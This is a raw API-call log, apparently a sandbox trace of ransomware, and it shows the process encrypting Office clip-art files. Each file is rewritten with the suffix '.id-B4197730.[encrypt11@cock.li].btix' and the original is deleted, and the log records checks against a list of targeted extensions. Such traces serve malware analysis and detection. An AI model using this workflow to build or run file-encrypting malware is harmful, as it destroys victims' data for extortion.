[0131.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0131.349] lstrlenW (lpString=".1cd") returned 4 [0131.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0131.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0131.349] lstrlenW (lpString=".jpg") returned 4 [0131.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0131.349] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0131.349] lstrlenW (lpString="HH00623_.WMF") returned 12 [0131.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0131.352] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=10644) returned 1 [0131.352] CloseHandle (hObject=0x4c0) returned 1 [0131.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x220 [0131.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0131.353] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.353] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0131.353] GetLastError () returned 0x0 [0131.353] ReadFile (in: hFile=0x4c0, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x2994, lpOverlapped=0x0) returned 1 [0131.636] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0131.636] ReadFile (in: hFile=0x4c0, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.637] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0131.637] SetEndOfFile (hFile=0x4b4) returned 1 [0131.637] CloseHandle (hObject=0x4b4) returned 1 [0131.637] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.637] SetEndOfFile (hFile=0x4c0) returned 1 [0131.639] CloseHandle (hObject=0x4c0) returned 1 [0131.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0131.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0131.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0131.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0131.640] lstrlenW (lpString=".doc") returned 4 [0131.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0131.640] lstrlenW (lpString=".docx") returned 5 [0131.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0131.640] lstrlenW (lpString=".pdf") returned 4 [0131.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0131.657] lstrlenW (lpString=".xls") returned 4 [0131.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0131.657] lstrlenW (lpString=".xlsx") returned 5 [0131.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0131.657] lstrlenW (lpString=".ppt") returned 4 [0131.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0131.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0131.657] lstrlenW (lpString=".zip") returned 4 [0131.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0131.657] lstrlenW (lpString=".rar") returned 4 [0131.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0131.657] lstrlenW (lpString=".bz2") returned 4 [0131.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0131.658] lstrlenW (lpString=".7z") returned 3 [0131.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0131.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0131.658] lstrlenW (lpString=".dbf") returned 4 [0131.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0131.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0131.658] lstrlenW (lpString=".1cd") returned 4 [0131.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0131.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0131.658] lstrlenW (lpString=".jpg") returned 4 [0131.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0131.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0131.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0131.658] lstrlenW (lpString=".doc") returned 4 [0131.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0131.658] lstrlenW (lpString=".docx") returned 5 [0131.658] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0131.658] lstrlenW (lpString=".pdf") returned 4 [0131.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0131.658] lstrlenW (lpString=".xls") returned 4 [0131.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0131.658] lstrlenW (lpString=".xlsx") returned 5 [0131.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0131.658] lstrlenW (lpString=".ppt") returned 4 [0131.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0131.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0131.658] lstrlenW (lpString=".zip") returned 4 [0131.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0131.658] lstrlenW (lpString=".rar") returned 4 [0131.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0131.659] lstrlenW (lpString=".bz2") returned 4 [0131.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0131.659] lstrlenW (lpString=".7z") returned 3 [0131.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0131.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0131.659] lstrlenW (lpString=".dbf") returned 4 [0131.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0131.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0131.659] lstrlenW (lpString=".1cd") returned 4 [0131.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0131.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0131.659] lstrlenW (lpString=".jpg") returned 4 [0131.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0131.661] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0131.661] lstrlenW (lpString="HH00685_.WMF") returned 12 [0131.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0131.662] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=4032) returned 1 [0131.662] CloseHandle (hObject=0x4c0) returned 1 [0131.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220 [0131.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0131.662] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.663] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0132.245] GetLastError () returned 0x0 [0132.245] ReadFile (in: hFile=0x4c0, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0xfc0, lpOverlapped=0x0) returned 1 [0132.247] WriteFile (in: hFile=0x4d0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xfd0, lpOverlapped=0x0) returned 1 [0132.249] ReadFile (in: hFile=0x4c0, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.249] WriteFile (in: hFile=0x4d0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0132.249] SetEndOfFile (hFile=0x4d0) returned 1 [0132.249] CloseHandle (hObject=0x4d0) returned 1 [0132.249] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.250] SetEndOfFile (hFile=0x4c0) returned 1 [0132.252] CloseHandle (hObject=0x4c0) returned 1 [0132.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0132.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0132.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0132.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0132.289] lstrlenW (lpString=".doc") returned 4 [0132.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.289] lstrlenW (lpString=".docx") returned 5 [0132.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.289] lstrlenW (lpString=".pdf") returned 4 [0132.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.289] lstrlenW (lpString=".xls") returned 4 [0132.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.289] lstrlenW (lpString=".xlsx") returned 5 [0132.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.289] lstrlenW (lpString=".ppt") returned 4 [0132.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0132.289] lstrlenW (lpString=".zip") returned 4 [0132.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.290] lstrlenW (lpString=".rar") returned 4 [0132.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.290] lstrlenW (lpString=".bz2") returned 4 [0132.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.290] lstrlenW (lpString=".7z") returned 3 [0132.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0132.290] lstrlenW (lpString=".dbf") returned 4 [0132.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0132.290] lstrlenW (lpString=".1cd") returned 4 [0132.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0132.290] lstrlenW (lpString=".jpg") returned 4 [0132.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0132.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0132.290] lstrlenW (lpString=".doc") returned 4 [0132.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.290] lstrlenW (lpString=".docx") returned 5 [0132.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.290] lstrlenW (lpString=".pdf") returned 4 [0132.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.290] lstrlenW (lpString=".xls") returned 4 [0132.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.290] lstrlenW (lpString=".xlsx") returned 5 [0132.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.290] lstrlenW (lpString=".ppt") returned 4 [0132.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0132.290] lstrlenW (lpString=".zip") returned 4 [0132.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.290] lstrlenW (lpString=".rar") returned 4 [0132.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.291] lstrlenW (lpString=".bz2") returned 4 [0132.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.291] lstrlenW (lpString=".7z") returned 3 [0132.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0132.291] lstrlenW (lpString=".dbf") returned 4 [0132.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0132.291] lstrlenW (lpString=".1cd") returned 4 [0132.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0132.291] lstrlenW (lpString=".jpg") returned 4 [0132.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.291] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0132.291] lstrlenW (lpString="HH01013_.WMF") returned 12 [0132.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0132.292] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=2848) returned 1 [0132.292] CloseHandle (hObject=0x4d0) returned 1 [0132.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220 [0132.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0132.292] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.292] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0132.293] GetLastError () returned 0x0 [0132.293] ReadFile (in: hFile=0x4d0, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0xb20, lpOverlapped=0x0) returned 1 [0132.340] WriteFile (in: hFile=0x4b8, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xb30, lpOverlapped=0x0) returned 1 [0132.341] ReadFile (in: hFile=0x4d0, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.341] WriteFile (in: hFile=0x4b8, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0132.342] SetEndOfFile (hFile=0x4b8) returned 1 [0132.342] CloseHandle (hObject=0x4b8) returned 1 [0132.342] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.342] SetEndOfFile (hFile=0x4d0) returned 1 [0132.344] CloseHandle (hObject=0x4d0) returned 1 [0132.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0132.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0132.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0132.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0132.345] lstrlenW (lpString=".doc") returned 4 [0132.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.345] lstrlenW (lpString=".docx") returned 5 [0132.345] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.345] lstrlenW (lpString=".pdf") returned 4 [0132.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.345] lstrlenW (lpString=".xls") returned 4 [0132.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.345] lstrlenW (lpString=".xlsx") returned 5 [0132.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.345] lstrlenW (lpString=".ppt") returned 4 [0132.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0132.345] lstrlenW (lpString=".zip") returned 4 [0132.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.345] lstrlenW (lpString=".rar") returned 4 [0132.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.345] lstrlenW (lpString=".bz2") returned 4 [0132.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.345] lstrlenW (lpString=".7z") returned 3 [0132.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0132.345] lstrlenW (lpString=".dbf") returned 4 [0132.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0132.345] lstrlenW (lpString=".1cd") returned 4 [0132.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0132.345] lstrlenW (lpString=".jpg") returned 4 [0132.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0132.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0132.346] lstrlenW (lpString=".doc") returned 4 [0132.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.346] lstrlenW (lpString=".docx") returned 5 [0132.346] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.346] lstrlenW (lpString=".pdf") returned 4 [0132.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.346] lstrlenW (lpString=".xls") returned 4 [0132.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.346] lstrlenW (lpString=".xlsx") returned 5 [0132.346] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.346] lstrlenW (lpString=".ppt") returned 4 [0132.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0132.346] lstrlenW (lpString=".zip") returned 4 [0132.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.346] lstrlenW (lpString=".rar") returned 4 [0132.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.346] lstrlenW (lpString=".bz2") returned 4 [0132.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.346] lstrlenW (lpString=".7z") returned 3 [0132.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0132.346] lstrlenW (lpString=".dbf") returned 4 [0132.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0132.346] lstrlenW (lpString=".1cd") returned 4 [0132.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 